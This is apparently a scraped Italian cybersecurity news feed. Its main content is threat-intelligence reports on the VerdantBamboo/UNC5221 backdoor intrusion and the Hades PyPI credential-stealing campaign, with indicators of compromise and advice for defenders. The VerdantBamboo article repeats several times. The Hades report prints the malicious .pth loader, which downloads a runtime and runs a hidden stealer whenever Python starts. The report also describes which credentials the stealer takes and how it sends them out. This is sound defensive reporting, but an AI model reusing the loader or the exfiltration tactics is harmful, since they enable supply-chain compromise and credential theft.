## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

💥🚨 FLASH SALE: -10% FINO AL 7 GIUGNO PER L'OTTAVA LIVE CLASS "DARKWEB & CYBER THREAT INTELLIGENCE" IN PARTENZA A LUGLIO

QUATTRO LEZIONI PER COMPRENDERE IL DARKWEB ED ENTRARE DA PROTAGONISTI NELLA CYBER THREAT INTELLIGENCE.

Per info e iscrizioni: 📱 💬 379 163 8765 ✉️ formazione@redhotcyber.com

✅ Pagina del corso: redhotcyber.com/linksSk2L/acad…
✅ Presentazione del corso del prof. Pietro Melillo : youtube.com/watch?v=9VaQUnTz4J…
✅ Webinar introduttivo di presentazione al corso : youtube.com/watch?v=ExZhKqjuwf…
✅ Workshop di DarkLab alla RHC Conference 2026 : youtube.com/watch?v=yE1Li3TS5B…

#redhotcyber #formazione #formazioneonline #ethicalhacking #cti #cyberthreatintelligence #cybersecurity #cybercrime #cybersecuritytraining #cybersecuritynews #privacy #cti #cyberthreat #intelligence #infosec #corsi #corsiprartici #liveclass

A New Life For a Rare Console


The media in this post is not displayed to visitors. To view it, please log in.

One of the delights of our tips line is that from time to time it brings us retrocomputing hardware that, despite years of reporting, we were not aware existed. [Hitmanmcc] has just such a machine, an NEC PC Engine LT. It’s a PC engine in a laptop form factor, and like many of this super-rare console, it has succumbed to capacitor failure. We’re treated to the process of bringing it back to life.

Replacing capacitors was only part of the story for this repair, as the electrolyte had caused damage elsewhere on the board. In particular there is a small transformer that forms part of an inverter to generate an LCD bias voltage, and this had been destroyed. Fortunately the art of switching power conversion has advanced in the decades since the console was produced, and a small module was procured to do the same job.

The result of all this surgery is another rare console rescued from e-waste, and an opportunity for the rest of us to take a look too. The PC engine is a relative rarity here, but we’ve had a few hacks over the years. This converter for its American cousin is one.


hackaday.com/2026/06/07/a-new-…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

I tuoi pacchetti Laravel sono già stati compromessi senza che tu lo sappia?

📌 Link all'articolo : redhotcyber.com/post/i-tuoi-pa…

A cura di Luigi Zullo

#redhotcyber #news #cybersecurity #hacking #malware #laravel #github #attacchinformatici

The media in this post is not displayed to visitors. To view it, please log in.

VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


@Informatica (Italy e non Italy)
Volexity ricostruisce un'intrusione durata 18 mesi da parte del gruppo APT cinese VerdantBamboo/UNC5221. Tre backdoor inedite — BRICKSTORM, PLENET e AGENTPSD — deployate su appliance senza EDR per bypassare le


VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

The media in this post is not displayed to visitors. To view it, please log in.

Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


@Informatica (Italy e non Italy)
Socket Research Team ha scoperto 37 wheel artifact malevoli su 19 pacchetti PyPI, parte della campagna Hades — ramo evolutivo di Shai-Hulud/Miasma. Il vettore è un file *-setup.pth


Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave


Cybersecurity & cyberwarfare ha ricondiviso questo.

VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Volexity ricostruisce un'intrusione durata 18 mesi da parte del gruppo APT cinese VerdantBamboo/UNC5221. Tre backdoor inedite — BRICKSTORM, PLENET e AGENTPSD — deployate su appliance senza EDR per bypassare le Conditional Access Policy di Microsoft 365. Il gruppo è tornato pochi giorni dopo la remediation.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Socket Research Team ha scoperto 37 wheel artifact malevoli su 19 pacchetti PyPI, parte della campagna Hades — ramo evolutivo di Shai-Hulud/Miasma. Il vettore è un file *-setup.pth che esegue silenziosamente uno stealer basato su Bun JavaScript runtime, colpendo credenziali di sviluppatori, pipeline CI/CD e ambienti cloud (AWS, GCP, Azure, GitHub, Kubernetes).
The media in this post is not displayed to visitors. To view it, please go to the original post.

Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
